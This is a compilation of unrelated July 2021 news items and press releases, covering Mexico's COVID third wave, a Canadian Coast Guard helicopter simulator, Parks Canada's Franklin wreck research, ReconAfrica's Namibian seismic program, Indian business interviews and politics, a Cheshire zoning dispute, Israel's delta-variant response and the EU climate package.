The goal is to get everyone protected, given that is very rare for the vaccine to have serious undesirable effects, Health Secretary Jorge Alcocer.

Mexico is entered its third wave of the coronavirus pandemic last week, as infections rose 29% from the week before.

But so far in the latest surge, only about a quarter of the countrys hospital beds are occupied. Hospital beds in many parts of Mexico were filled to capacity during the last wave.

Mexico City health authorities said they expect the third wave to peak in August in the capital, which has been the worst hit in the previous two waves.

Mexico has reported over 235,000 test-confirmed deaths from COVID-19, but because the country does so little testing, the governments own figures on excess deaths suggest the true toll is around 360,000 dead.

Mexico is one of the few countries not to have suspended flights or imposed testing requirements for tourists, and international tourism has helped fuel the coronavirus upsurge in tourism-dependent states like Baja California Sur and Quintana Roo, on Mexico's Caribbean coast.

International tourists also risk getting infected themselves. Thirteen students from Bolivia remain in isolation at a hotel in Quintana Roo after they caught the virus while vacationing in Mexico, though none are ill. Another thirteen were infected but recovered and returned to Bolivia, state officials say.
HALIFAX, NS, July 7, 2021 /CNW/ - Chorus Aviation Inc. ("Chorus") (TSX: CHR) will present the company's second quarter 2021 financial results on Thursday, August 12, 2021.

Details are as follows:

Q2 2021 EARNINGS CONFERENCE CALL

Joe Randell, President and Chief Executive Officer, and Gary Osborne, Chief Financial Officer, will present second quarter results and will be available for analysts' questions. Media may access this call on a listen-in basis.

Date: Thursday, August 12, 2021



Time: 10:00 A.M. AT / 9:00 A.M. ET



By telephone: 1-888-664-6392. Please allow 10 minutes to be connected to the conference call.

By audio webcast:

https://produceredition.webcasts.com/starthere.jsp?ei=1479498&tp_key=53d42aa091



Replay: Instant replay will be available beginning approximately two hours after the call at 1-888-390-0541 toll free, passcode 535466 # (pound key), until midnight ET August 19, 2021.

SOURCE Chorus Aviation Inc.

For further information: Media Contacts: [email protected]; www.chorusaviation.com

Related Links

www.chorusaviation.ca


Coast Guard helicopters are often required to operate in challenging and harsh conditions such as landing on icebreakers at sea, operating in remote coastal areas, Arctic flight operations, and supporting search and rescue operations led by Coast Guard ships, necessitating expert training for pilots.

To strengthen pilot training, today, the Honourable Bernadette Jordan, Minister of Fisheries, Oceans and the Canadian Coast Guard, and Mario Pelletier, Commissioner, Canadian Coast Guard, welcomed the delivery and acceptance of a new full-flight helicopter simulator.

Designed and built by CAE Inc. in Montreal, Quebec, this new helicopter simulator will be the main training tool for Coast Guard helicopter pilots. Equipped with a revolutionary roll-on/roll-off cockpit conversion system, the full-flight simulator is equipped to provide training on Coast Guard's two different helicopter types making it a first of its kind helicopter simulator in North America.

The new full-flight simulator allows the Coast Guard to offer helicopter pilots training opportunities that would otherwise be difficult or impossible to achieve while training in an aircraft. The simulator is designed to offer experienced pilots alike an immersive simulated flight experience, and can replicate a variety of flight and weather conditions faced when flying a Coast Guard helicopter in various parts of the country. The simulator will allow Coast Guard helicopter pilots to train for the sometimes difficult flight conditions experienced such as inclement weather, missions on top of a mountain, sling load operations, Arctic operations, as well as search and rescue.

The simulator will be based at the Transport Canada Training Centre at the Ottawa International Airport, where helicopter pilots will be able to complete training in an innovative and cutting-edge environment.

Quotes

"Through the Canadian Coast Guard's Fleet Renewal Plan, we're ensuring our members have the best available equipment both in training and on the job. The new full-flight simulator is cutting-edge technology that will be used to safely train our Coast Guard helicopter pilots, providing a realistic and immersive training environment. Congratulations to everyone at CAE who have contributed to the design and construction of this remarkable simulator."

The Honourable Bernadette Jordan, Minister of Fisheries, Oceans and the Canadian Coast Guard

"The Government of Canada is committed to providing the Canadian Coast Guard with the equipment that they need to accomplish their critically important work. The contract for the design and construction of the helicopter full-flight simulator has helped to create jobs and generate economic benefits for Canadians, and today's delivery of a simulator will provide a safe environment for pilots to train for difficult missions."

The Honourable Anita Anand, Minister of Public Services and Procurement

"I am very proud today to see the full-flight helicopter simulator added to the Coast Guard robust helicopter flight training program. This highly innovative and advanced simulator will significantly enhance the pilots' ability to train for a wide range of missions specific to Coast Guard operations. I congratulate CAE and its workforce for delivering this innovative training tool that pushes the boundaries of creating a realistic and safe training environment for helicopter pilots."

Mario Pelletier, Commissioner of the Canadian Coast Guard

"We are pleased to deliver on our commitment to provide the Canadian Coast Guard with their first-ever full-flight simulator and a first of its kind helicopter simulator in North America. CAE's 3000 Series helicopter simulator will play a key role in ensuring the Canadian Coast Guard are trained and well prepared through highly realistic virtual helicopter simulations in a safe environment. Safety and security are at the heart of what we do, and we are proud to provide the Coast Guard with the most advanced helicopter simulator ever developed to ensure the safety of their crews."

France Hebert, CAE Vice-President and General Manager, Defence & Security Canada

Quick Facts

Coast Guard helicopters deliver services with a fleet of 22 aircraft  15 light lift and 7 medium lift helicopters  strategically located at 9 bases across Canada .

. Coast Guard helicopter pilots take part in a wide variety of operations such as monitoring oil spills and ice conditions. Helicopters are also used to maintain and construct navigational aids and telecommunications equipment, transferring personnel and cargo between ship and shore, as well as to provide support to scientific missions.

In February 2016 , Public Services and Procurement Canada (PSPC), on behalf of the Canadian Coast Guard, awarded a contract of $17M to CAE Inc. for the design and construction of the helicopter full-flight simulator as part of the Canadian Coast Guard's Fleet Renewal Plan.

, Public Services and Procurement Canada (PSPC), on behalf of the Canadian Coast Guard, awarded a contract of to CAE Inc. for the design and construction of the helicopter full-flight simulator as part of the Canadian Coast Guard's Fleet Renewal Plan. The Coast Guard helicopter simulator will be the first ever helicopter simulator of its kind in Canada and in the world featuring a 12-feet dome visual system combined with the most detailed geo-specific databases ever built for a helicopter.

Related Products

BACKGROUNDER

Enhancing Coast Guard's helicopter training capacity with state-of-the-art Full-Flight Helicopter Simulator

The Canadian Coast Guard operates a fleet of 22 helicopters to support critical marine services such as aids to navigation, marine communications and traffic services, icebreaking operations, environmental response and search and rescue when needed. The acquisition of the new full-flight helicopter simulator supports training of Coast Guard helicopter pilots to fly its fleet of light-lift and medium-lift helicopters using the most advanced technology of its kind.

A Canadian-made and cutting-edge training tool

Designed and built by CAE Inc., in Montreal, Quebec, the full-flight helicopter simulator is a CAE 3000 series helicopter simulator and a Level D qualified training device, which means that it is capable of simulating both Coast Guard aircraft types so realistically that pilots will be able to perform the majority of their helicopter training without needing to train in an actual aircraft.

Features and technical specifications of the full-flight simulator include:

a 12-foot dome and a projection visual system with a 220 degree horizontal field of view and a 85 degree vertical field of view combined with the most detailed geo-specific databases ever built for a helicopter.

advanced motion and sound systems combined with a vibration platform and a specific aircraft aerodynamic model that all contribute to realistic and highly immersive training.

a roll-on/roll-off cockpit conversion design that allows training on both Coast Guard helicopter types, the light-lift and the medium-lift helicopters; and

a customized range of missions specific to Coast Guard operations.

As a certified Level D training tool, the full-flight simulator recreates the Bell 429 and Bell 412 EPI cockpits including the same flight controls, avionics, and flight instrumentation of the actual helicopters.

Some of the benefits of the new helicopter simulator include:

ability to train various mission profiles in various operational training areas;

providing pilots with a safe training environment;

allowing pilots to familiarize themselves with equipment prior to use; and

reducing risks to pilots and aircraft.

Equipped with an extensive range of weather and emergency scenarios, the simulator allows pilots to train for challenging and high-risk situations that would otherwise be too dangerous to train in a real aircraft, without ever leaving the ground. Using computational fluid dynamics, the aerodynamic models in the full-flight simulator are capable of simulating realistic wind and turbulence at key Coast Guard landing sites as well as during shipboard operations. This simulator is also capable of simulating load operations using a limited field of vision "below" the device, allowing the pilot to look down and view a sling load on a separate screen.

All of these capabilities improve the training of Coast Guard helicopter pilots and ensure they are better prepared for any situation they might face during operations.

A revolutionary roll-on/roll-off capability unique in North America

With the roll-on/roll-off cockpit conversion feature, the full-flight simulator can accommodate training for both Bell 429 and Bell 412 EPI cockpits. The cockpit unit can be removed and replaced to provide training versatility and includes the simulated cockpit area complete with forward shell, structures, flight controls, and all panels and instruments. When the cockpits are swapped, the second cockpit can be docked in another flight training device to allow limited training to continue. This feature provides for flexibility in training while saving time and costs.

Associated Links

Stay Connected

Follow the Canadian Coast Guard on Twitter , Facebook, Instagram and YouTube .

, and . Subscribe to receive our news releases and more via RSS feeds. For more information or to subscribe, visit http://www.dfo-mpo.gc.ca/media/rss-eng.htm .

SOURCE Canadian Coast Guard

For further information: Olivia McMackin, Press Secretary, Office of the Minister of Fisheries, Oceans and the Canadian Coast Guard, 343-571-9193, [email protected]; Media Relations, Fisheries and Oceans Canada, 613-990-7537, [email protected]

Related Links

https://www.ccg-gcc.gc.ca/


In response to COVID-19, Agency to focus on advancing HMS Erebus and HMS Terror research plans for the 2022 season

GATINEAU, QC, July 7, 2021 /CNW/ - The legendary story of Sir John Franklin's journey, and how Inuit knowledge, science and archaeology work together inspire Canadians and audiences worldwide.

Today, the Minister of Environment and Climate Change and Minister responsible for Parks Canada, Jonathan Wilkinson, announced that Parks Canada's Underwater Archaeology Team (UAT) will shift its focus in 2021 to supporting work related to the Agency's research and conservation mandate in eastern Canada. Parks Canada will continue its collaboration with Inuit to conduct important research on the artifacts retrieved from HMS Erebus in 2019, and advance plans for the 2022 research season.

This decision, supported by the Franklin Interim Advisory Committee, aligns with efforts to keep Nunavut and its residents in high-risk and isolated communities safe from the novel coronavirus (COVID-19), and was taken because fieldwork operations would have entailed close contact between travelling research staff and isolated northern communities and on account of significant logistical challenges and risks associated with COVID-19.



While challenges associated with the COVID-19 pandemic have deferred onsite fieldwork at the Franklin Expedition wrecks for 2021, Parks Canada will continue to highlight the ongoing archaeological research related to the wrecks of HMS Erebus and HMS Terror, and the role of Inuit in the first jointly managed national historic site in Nunavut, by making new Franklin-related content available through a variety of virtual and digital formats.

Parks Canada will share information about the Underwater Archaeology Team's 2021 research activities aboard the RV David Thompson in eastern Canada as details are confirmed.

Quotes

"The story of science, archaeology and collaboration with Inuit knowledge keepers told at the Wrecks of the HMS Erebus and HMS Terror National Historic Site serves as a source of inspiration that continues to capture the imagination and attention of audiences worldwide. Parks Canada remains committed to taking necessary action to limit the spread of COVID-19 and minimize the risk to Nunavut and its communities. After a milestone year recovering over 350 artifacts from the wreck of HMS Erebus in 2019, and gathering some of the first interior footage of HMS Terror, we look forward to sharing even more of the extraordinary results of the ongoing research into this treasured place."

The Honourable Jonathan Wilkinson,

Minister of Environment and Climate Change and Minister responsible for Parks Canada

"The Franklin Interim Advisory Committee supports Parks Canada's decision to defer the 2021 underwater archaeology research season in Nunavut. It is important to minimize the risks to the communities. We will continue our work of advising on the management of the wrecks, as well as support the ongoing work being done to share the stories relating to the Wrecks of HMS Erebus and HMS Terror National Historic Site. "

Fred Pedersen,

Chair, Franklin Interim Advisory Committee



Quick Facts

The Wrecks of HMS Erebus and HMS Terror National Historic Site is the first collaboratively managed national historic site in Nunavut . HMS Terror was added to the Wrecks of HMS Erebus and HMS Terror National Historic Site in 2017, ensuring legal protection for the wreck site under the Canada National Parks Act . The wreck of HMS Erebus was added to the National Historic Sites of Canada Order in 2015.

and HMS National Historic Site is the first collaboratively managed national historic site in . HMS was added to the Wrecks of HMS and HMS National Historic Site in 2017, ensuring legal protection for the wreck site under the . The wreck of HMS was added to the in 2015. Formed in 2016, the Franklin Interim Advisory Committee, comprised of community members and representatives from the Kitikmeot Inuit Association, Inuit Heritage Trust, Government of Nunavut , the heritage and tourism industry and Parks Canada, advises on the management of the wrecks until an Inuit Impact and Benefit Agreement is finalized between Parks Canada and the Kitikmeot Inuit Association.

, the heritage and tourism industry and Parks Canada, advises on the management of the wrecks until an Inuit Impact and Benefit Agreement is finalized between Parks Canada and the Kitikmeot Inuit Association. Since 2017, a Guardian program has been in operation at the Wrecks of HMS Erebus and HMS Terror National Historic Site, involving Inuit from Gjoa Haven in the protection and monitoring of the Franklin wrecks and helping integrate Inuit knowledge into Parks Canada's operations and management of the national historic site.

and HMS National Historic Site, involving Inuit from in the protection and monitoring of the Franklin wrecks and helping integrate Inuit knowledge into Parks Canada's operations and management of the national historic site. Since 2018, all newly discovered artifacts from HMS Erebus and HMS Terror are jointly-owned by the Government of Canada and Inuit. In April 2019 , the Government of Canada and Inuit Heritage Trust signed a Memorandum of Understanding detailing how the two organizations will work together to protect, study, conserve and share the Franklin artifacts.

and HMS are jointly-owned by the Government of and Inuit. In , the Government of and Inuit Heritage Trust signed a Memorandum of Understanding detailing how the two organizations will work together to protect, study, conserve and share the Franklin artifacts. In August 2019 , Parks Canada released extraordinary, never-before-seen video footage of HMS Terror as part of one of the largest, most complex underwater archaeological undertakings in Canadian history. Building on the remarkable first-ever exploration of the interior of HMS Terror, Parks Canada's Underwater Archaeology Team, in collaboration with Inuit, recovered over 350 artifacts from HMS Erebus.

Associated Document

Related Links

SOURCE Parks Canada

For further information: Moira Kelly, Press Secretary, Office of the Minister of Environment and Climate Change, 819-271-6218, [email protected]; Media Relations, Parks Canada Agency, 855-862-1812, [email protected]

Related Links

www.pc.gc.ca


VANCOUVER, BC, July 7, 2021 /CNW/ - Reconnaissance Energy Africa Ltd. (the "Company" or "ReconAfrica") (TSXV: RECO) (OTCQX: RECAF) (Frankfurt: 0XD) is pleased to announce that the Republic of Namibia's Ministry of Environment, Forestry and Tourism has issued on Friday July 2, 2021 the Environmental Clearance Certificate ("ECC") for the initial 2D seismic program to be conducted in the Petroleum Exploration License No. 73 in the Kavango East and West regions of NE Namibia.

Seismic Operations

With the ECC (seismic permit) now in place, ReconAfrica and NAMCOR (the National oil company of Namibia) have begun acquisition of the initial 450 km 2D seismic program in the Kavango basin. Acquisition is expected to commence during the third week of July for an anticipated duration of 6-8 weeks.

The program provider is Polaris Natural Resources Inc. ("Polaris"), Canada's longest standing geophysical contractor, which was selected through a competitive bidding process. Polaris offers its own patented seismic source the Explorer 860 Accelerated Weight Drop.

All three Explorer 860 source units have arrived at Polaris's newly established base in Rundu, Namibia. Polaris anticipates hiring approximately 100 local personnel with line crew training starting July 6th. This low impact seismic program will be conducted along existing roadways during daylight hours to minimize wildlife disturbance.

Scot Evans, ReconAfrica CEO said, "Now that the first two wells have successfully established an active conventional petroleum system in the Kavango basin, we are moving to the next phase of the exploration process; acquisition, processing, and interpretation of the first regional seismic grid in this newly identified sedimentary basin. The program will provide the regional geologic structural and stratigraphic framework and identify conventional hydrocarbon accumulations, with the goal of commercializing this potential major source of energy for Namibia."

Polaris COO, Joe Little stated, "The acquisition plan is progressing very well for a successful recording launch in mid July. Given our past success with the environmentally friendly Explorer 860 source units on past projects in Africa and given the very high resolution parameters designed by ReconAfrica's seismic team, we anticipate getting excellent data results on the project."

Drilling Operations

ReconAfrica is currently drilling ahead on the 6-1 well, anticipating reaching total depth on or before July 11th. Immediately after reaching total depth, ReconAfrica will commence logging and coring operations designed to maximize hydrocarbon recovery. These operations will be conducted using Schlumberger technology.

About ReconAfrica

ReconAfrica is a Canadian oil and gas company engaged in the opening of the newly discovered deep Kavango Sedimentary Basin, in the Kalahari Desert of northeastern Namibia and northwestern Botswana, where the Company holds petroleum licences comprising approximately 8.5 million contiguous acres. In all aspects of its operations, ReconAfrica is committed to minimal disturbances in line with international best standards and will implement environmental and social best practices in all of its project areas.

Neither the TSXV nor its Regulation Services Provider (as that term is defined in policies of the TSXV) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Note Regarding Forward-Looking Statements: Certain statements contained in this press release constitute forward-looking information under applicable Canadian, United States and other applicable securities laws, rules and regulations, including, without limitation, statements with respect to the interpretation of data and models relating to the Company's assets, including Earthfield's analysis of aeromagnetic survey data, statements with respect to the Kavango Basin being geologically separate from the Owambo Basin, the Company's proposed exploration, drilling and exploration activities and timelines, the Company's exploration strategy, when the Company anticipates reaching total depth on the 6-1 well, the data from the 6-1 and 6-2 wells providing clear evidence of a working conventional petroleum system in the Kavango Basin and that there is commercial potential in the Kavango Basin, the interpretation and analysis of data, results and samples from the 6-1 and 6-2 wells, the hydrocarbon potential of the Kavango Basin, including statements with respect to ReconAfrica having the technical and financial capabilities to unlock the discovery of commercially viable hydrocarbon reserves, the geology of the Kavango Basin region, the size, characteristics and features of the Company's oil and gas properties, the timing, duration and location of, and the receipt of final permitting for, the Company's 450km 2D seismic program, the costs of the Company's seismic program, the anticipated results of the Company's seismic program, the Company seeking Ministry approvals for the drilling of additional wells in the Namibian portion of the Kavango Basin and the acquisition of addition seismic data, the timing for the commencement of such additional drilling and seismic activities, including the timing for the receipt of approvals and permitting/licensing related thereto, the Company's current cash reserves being sufficient to conduct an initial evaluation of all five sub-basins in the Kavango Basin, the extension of the First Renewal Period to the end of January 2023 and the Botswana portion of the exploration licence to 2034, exploration of the Namibian portion of the Basin continuing until the end of January 2026, there being sufficient time for the Company to fully evaluate the Kavango Basin prior to making production licence applications for the declaration of any petroleum fields, the Company having access to additional funds through capital markets and joint venture optionality, and the Company's commitment to minimal disturbances in line with international best standards and its implementation of environmental and social best practices in all of its project areas. These statements relate to future events or future performance. The use of any of the words "could", "intend", "expect", "believe", "will", "projected", "estimated" and similar expressions and statements relating to matters that are not historical facts are intended to identify forward-looking information and are based on ReconAfrica's current belief or assumptions as to the outcome and timing of such future events. There can be no assurance that such statements will prove to be accurate, as the Company's actual results and future events could differ materially from those anticipated in these forward-looking statements as a result of the factors discussed in the "Risk Factors" section in the Company's amended and restated annual information form dated May 19, 2021 available under the Company's profile at www.sedar.com. Actual future results may differ materially. Various assumptions or factors are typically applied in drawing conclusions or making the forecasts or projections set out in forward-looking information. Those assumptions and factors are based on information currently available to ReconAfrica. The forward-looking information contained in this release is made as of the date hereof and ReconAfrica undertakes no obligation to update or revise any forward-looking information, whether as a result of new information, future events or otherwise, except as required by applicable securities laws. Because of the risks, uncertainties and assumptions contained herein, investors should not place undue reliance on forward-looking information. The foregoing statements expressly qualify any forward-looking information contained herein.

SOURCE Reconnaissance Energy Africa Ltd.

For further information: Scot Evans CEO | Tel: +1-877-631-1160; Grayson Andersen Manager, IR | Tel: +1-877-631-1160, Email: [email protected]; IR Inquiries Email: [email protected]; Media Inquiries Email: [email protected]

Related Links

https://reconafrica.com/


Ranganath Thota is the Founder & CEO of FuelAdream and is doing social entrepreneurship via this platform. Mr Thota in an exclusive interview with NewsX India A-list said The objective is to try and build something that could help over a million people and the only way you could do it is through this concept called Crowdfunding. Crowdfunding means the act of a number of people coming together to fund something that they believe in.

The switch from a media person to a social entrepreneur was because of a turning point that happened six years ago. Mr Thota said, I used to be in the corporate world for about 30 years where I worked across consumer products, media, worked in India, China, South-east Asia. About six years back, I realised I was making a lot of money and it was not as gratifying as I thought it should be. I realised that helping others was more satisfying and meaningful. I literally sold everything and decided to start this crowdfunding platform. I read about it for half an hour, discovered what it is and moved to Bangalore six years back.

When asked what sets it apart from other competitors, Mr Thota said, What we discovered is that when people fund creative and innovative ideas, they are overwhelmed and passionate about it and thats why they support it. Similarly when they fund something for a social need, then they have compassion. You have compassion at one end and passion at the other. But in many cases, people are the same. So, for example, we could fund the education for a child and also something as an electric bike.

Speaking about one of his innovations he said, For example, there is a smart wallet with a chip in it that connects to the phone. If you lose your wallet you can actually call it with your phone and if you lose your phone you can call it with your wallet. You can actually use the phone camera and take pictures using the wallet. This project was funded four years ago. But the same person will help people with cataract surgery and education. So the same person can be driven by compassion and passion.

The second thing is about giving behaviours. In social media, we talk about the food we eat, the holidays we take and the pictures we like but we never talk about giving. It is never understood. But there is a huge science in consumer behaviour related to giving which is very different. Crowdfunding also has a science and has four key elements that go into it. It includes storytelling, technology, consumer behaviour and most importantly, communication. Unless you know all this, you cannot do crowdfunding.

The other thing we do is teach crowdfunding to a large number of people. They could be corporate people, students, etc.

When asked about how he builds rapport, Thota said, Nine out of ten people dont know how to crowdfund even if their intention is good. They need a lot of hand rolling and that is where I and my team actually support them. The other important thing is raising funds. There are a lot of things that we need to understand about the projects that need fundraising. A lot of people come to us with great projects but what they dont realise is that if they raise five times the amount that they are planning to, they actually cannot execute it. Unlike other platforms where you can start a campaign in an hour, with us it takes two days.

Talking about the success rate he said, typically it is about 70%. But if some projects dont work well it is simply because the person doing it doesnt manage it well, it is not like the story is not good.
Ajoy Chawla, CEO of Titans Jewellery Division joined us for an exclusive interview as part of NewsX India Alist. He is currently the Chief Executive Officer of Titans Jewellery business that houses iconic brands such as Tanishq, Mia, Zoya and CaratLane. Zoya, the exquisite diamond boutique from the House of Tata, is a luxury brand of fine jewellery, renowned for its expert craftsmanship and distinguished design.

Talking about the launch of Zoyas new collection Samave, Chawla said It a signature collection from Zoya, which draws inspiration from architecture, more specifically the Indian step wells, and it is also a metaphor of a connection between the woman, her own inspiration as well as the inspiration from the feminine power of the tribe.

Explaining further, Chawla said If you look at the step wells, its a marvellous piece of architecture, very Indian. Its layered, its intimate. Its tucked away. Its a place where women meet other women as they come in search of water. Water is a metaphor for life. And even as the woman is descending down the steps where she is in our own way undertaking a journey of self-discovery, discovering our own inspiration while connecting deeply with other women, very intimately in fact, in Sanskrit the meaning of the word summary is to unite to come together to connect intimately.

We thought its a wonderful way to kind of capture the entire metaphor. Its an all-white diamond only collection with straight lines clean lines, both in rose gold and white coat, and the versatile collection has rings, earrings, necklaces and bracelets, added the Intrapreneur.

Sharing insights on strategy during the lockdown and how that has worked for the brand, the CEO said As a young brand it still has a long way to go but its a niche brand opportunity to grow in a country like India in itself is great. Our target customer has not really been impacted, at least economically. This time around, of course, there has been a certain humanitarian impact much more than last time. Its been brutal, for many people. But if I look at last year Zoya grew, despite losing out the first three months, it grew for the year at about 14-15%.

Of course, driven by the growth of new points of sale that we added. We added a store in Bangalore during the last lockdown and it has done very well for us. Even before the pandemic broke, despite us not getting a chance to launch it in a big way because of social distancing restrictions, etc but it has done very well. We have added galleries, which are like shopping shops in select Tanishq stores in Bombay, Ahmedabad, Chennai and Kolkata. And by the end of this month in Chandigarh, the footprint of Zoya has grown beyond Bombay, Delhi Bangalore to include these other towns as well. elaborated Chawla.

Zoyas personalized service focuses on providing an unmatched buying experience for its exclusive products. Zoya now extends its service through video-assisted jewellery advisory, home trials, contactless delivery and interactive e-catalogues.

Speaking on digital marketing and digital sales which has become the new normal, the CEO said For all categories of products, and even for jewellery, we have seen that customers prefer safety and convenience of digital. And during the last year in fact we saw, Zoya customers really take up to remote, shopping, as well as digital so it could be that it is initiated by the customer getting on to the website booking an appointment, or it could be from the store side. In addition to that, what we are seeing is that as people come online, they still want a personalized experience and seamless experience.

We are soon also hoping to launch a members-only portal and we can take this personalization story even further. We have also continued to offer curated personalized experiences at home, added Chawla on a concluding note.
This meeting came on a day when Navjot Singh Sidhu confused everyone about his next move by tweeting that the Aam Aadmi Party (AAP) in Punjab understands his vision and Punjab model. He further mentioned that it is clear that they know who is fighting for Punjab.

Amidst speculation that Rahul Gandhi was involved in finalising a deal between Punjab Chief Minister Captain Amarinder Singh and his rival Navjot Singh Sidhu, sources say that election strategist Prashant Kishor called on the former Congress President. Reports suggest that Congress President Sonia Gandhi ought to meet the poll strategist and that discussions will be based on the 2024 Lok Sabha polls. However, there was no confirmation from Congress on this matter.

This meeting came on a day when Mr Sidhu confused everyone about his next move by tweeting that the Aam Aadmi Party (AAP) in Punjab understands his vision and Punjab model. It is clear they know  who is fighting for Punjab, Mr Sidhu had tweeted.

But as it is expected that the Congress general secretary for Uttar Pradesh (UP), Priyanka Gandhi Vadra, will attend the meeting, there is speculation that the meeting could be about other poll-bound States like U.P. and Uttarakhand as they go to polls along with Punjab early next year. However, Ms Vadra spent three days for an on-the-ground assessment of Congress organisation in Lucknow ahead of the 2022 Assembly polls in U.P.

Apart from this, the presence of former Uttarakhand Chief Minister Harish Rawat, who also is the Congress in-charge for Punjab, at Mr Gandhis house along with the general secretary, K.C. Venugopal leads to a discussion that Mr Kishors services would be used in all these poll-bound States. This speculation comes as Mr Kishor has worked with Congress previously in all these three States.

In the next three-four days, there will be good news for Punjab Congress, Mr Rawat told reporters outside Mr Gandhis house. He added that Mr Kishor had not discussed Punjab politics. Also, he is not part of the Gandhi-Kishor meeting. Rahul Ji is a national leader. So many people meet him to discuss important issues. He takes inputs from different people. Prashant Kishor didnt negotiate anything regarding Punjab, said Mr Rawat.

Mr Kishors meeting with Rahul and Priyanka comes just weeks after he met Nationalist Congress Party chief Sharad Pawar regarding the formation of an opposition block to take on the Modi government, which makes the meeting much more important.
External Affairs Minister S Jaishankar is likely to meet his Chinese counterpart Wang Yi on the margins of SCO foreign ministers meet today. The leaders are expected to discuss the deteriorating security situation in Afghanistan.

Even as tensions between India and China continue to simmer, External Affairs Minister S Jaishankar is likely to meet his Chinese counterpart Wang Yi on the margins of SCO foreign ministers meet on Wednesday. Although there has been no official word on the meeting from both sides, reports suggest that the two leaders are expected to discuss the deteriorating security situation in Afghanistan. As all eyes look towards the first bilateral interaction between India and China post September, both the sides have reportedly decided to downplay the ongoing border situation at Dushanbe meet because it is unlikely to lead to any significant movement.

Jaishankar had earlier expressed that that Chinas unilateral actions and attempts to alter the status quo have disturbed the overall bilateral relations between both countries. He further added that a normal relationship can only be restored if there is peace and tranquility on the border.

On the other hand, China has time and again stressed on focusing in other areas of cooperation such as trade and investment. Focusing on the situation in Afghanistan, China is sought to play the role of a mediator between Taliban and other players.

Meanwhile, the Russian Envoy to India shared on Wednesday that the situation in Afghanistan was dominating. Russia and India are both supportive of the intra-Afghan talks based on commitments of the parties to ensure that future government is inclusive. He also emphasised that it is critically important to support Afghanistan and making their country independent.
CHESHIRE  Plans to demolish a high-end, single-family home on Wallingford Road and build nearly three-dozen age restricted town houses at the site is infuriating neighbors.

Nearly two-dozen speakers urged the town Planning and Zoning Commission to reject the age-restricted complex being proposed for 648 Wallingford Road by a Southington builder, Lovley Development. The public hearing on the project this week, the second one held this summer, was extended until the PZCs next meeting July 26.

Lovley Development has proposed 34 townhouse units on 10 aces of property owned by Earl Kurtz Jr., father of PZC Chairman Earl Kurtz III. The younger Kurtz has recused himself from any decisions regarding the application.

If the application were to be approved, the existing 10-room, 21/2-story brick house would be demolished to make way for the age-restricted units.

Neighbors concerns included the likelihood of increased traffic through the neighborhood, a reduction in their property values and increased rainwater runoff from the development exacerbating flooding of nearby basements.

The development is near the intersection of Wallingford and Talmadge roads, which frequently are used by motorists to get from Route 68 to South Main Street in Cheshire. The intersection of Route 68 and Route 10, of which South Main Street is a part, is one of the busiest in town.

Robert Giza, who lives at 860 Wallingford Road, said even without the development in place, traffic on this road is terrible, its getting out of hand.

Michele Fredericks, who lives at 35 Carol Drive, said she moved from southern Cheshire because the neighborhood was quiet compared to her previous home.

But this influx of traffic is causing the neighborhood to lose some of its luster, Fredericks said. Im afraid to go walking along the road with my grandson.

PVZ Vice Chairman Sean Strollo, currently serving as chairman because of Kurtzs absence, said because of a request Giza had made at a previous hearing, Cheshire police recently measured speeds along Wallingford Road near the proposed development. The officers found one driver going 85 mph.

Talmadge Road resident Thomas Santoro said the elder Kurtz has a right to sell his property if that sale meets certain parameters, but that if the PZC approves the age-restricted complex as the application now stands, its members would be violating an implied contract with neighbors.

When I bought my property, I bought it with certain expectations that our zoning would protect my rights as a property owner, he said.

Santoro said the plans for the age-restricted complex represents a transfer of wealth from everyone who lives in the neighborhood to just one or two people.

The starting price for a townhouse in the development would be $454,000.

Chris Plumley, who lives on Sir Walter Raleigh Drive, said he doesnt doubt need for this type of housing in the community.

But this development just doesnt fit on this property, Plumley said

Anthony Fazzone, the Cheshire attorney representing Lovley Devlopment, said the developer already has made concessions, including reducing the size of the project from 40 units to 34.

The company already has successfully developed two-age restricted complexes in neighboring communities.

luther.turmelle@hearstmediact.com
JERUSALEM (AP)  Israeli Prime Minister Naftali Bennett said Wednesday that the country can beat a concerning rise in new coronavirus cases without a nationwide shutdown, but that depends in part on people wearing masks indoors to suppress the spread of the highly contagious delta variant.

Bennett told reporters at a news conference that he has instructed police to step up enforcement of the mask rule with high fines for people who violate it.

Thats the fair thing to do, because its wrong to have people who are lazy and hurt the rest of the public, Bennett said. A national shutdown, he said, was a last resort," a reflection of the government's effort to keep Israel's economy strong.

Stop shaking hands," he advised Israelis, suggesting an elbow bump instead. "Stop kissing and hugging except within the family. He also urged Israelis not to travel abroad as the delta variant spreads in Europe and elsewhere.

Bennett spoke as new daily infections in Israel climbed to more than 700 on Wednesday. That's despite one of the world's fastest inoculation campaigns. More than 5.7 million people of Israel's population of 9.3 million have been vaccinated at least once. Some 5.2 million people have received two doses.

Israel has a standing mask-wearing mandate for people gathering indoors, but adherence is poor  even on public transit and in hospitals  and enforcement is lax. Bennett said he instructed police to step up enforcement of mask rules with high fines.

Most cases are mild and serious cases remain relatively low  but almost all new cases are due to the contagious delta variant.

Bennett also announced that Prof. Salman Zarka, head of the Ziv Medical Center in northern Israel, will oversee the country's response as the new coronavirus czar.

Zarka, a member of Israel's Druze minority, formerly commanded the Israeli army's medical corps and ran the Israeli field hospital providing humanitarian aid to Syrians.
BRUSSELS (AP)  The European Union unveiled sweeping new legislation Wednesday to help meet its pledge to cut emissions of the gases that cause global warming by 55% over this decade, including a controversial plan to tax foreign companies for the pollution they cause.

The legislation presented by the EU's executive branch, the European Commission, encompasses about a dozen major proposals, ranging from the de-facto phasing out of gasoline and diesel cars by 2035 to new levies on gases from heating buildings.

They involve a revamp of the blocs emissions trading program, under which companies pay for carbon dioxide they emit, and introduce taxes on shipping and aviation fuels for the first time.

Most of the proposals build on existing laws that were designed to meet the EUs old goal of a 40% cut in greenhouse gas emissions by 2030 compared to 1990 levels  and must be endorsed by the 27 member countries and EU lawmakers.

World leaders agreed six years ago in Paris to work to keep global temperatures from increasing more than 2 degrees Celsius (3.6 degrees Fahrenheit), and ideally no more than 1.5 degrees C (2.7 F) by the end of the century. Scientists say both goals will be missed by a wide margin unless drastic steps are taken to reduce emissions.

The principle is simple: emission of CO2 must have a price, a price on CO2 that incentivizes consumers, producers and innovators to choose the clean technologies, to go toward the clean and sustainable products, European Commission President Ursula von der Leyen said.

The commission wants to exploit the public mood for change provoked by the COVID-19 pandemic. Its already channeling more than one-third of a massive recovery package aimed at reviving European economies ravaged by coronavirus restrictions into climate-oriented goals.

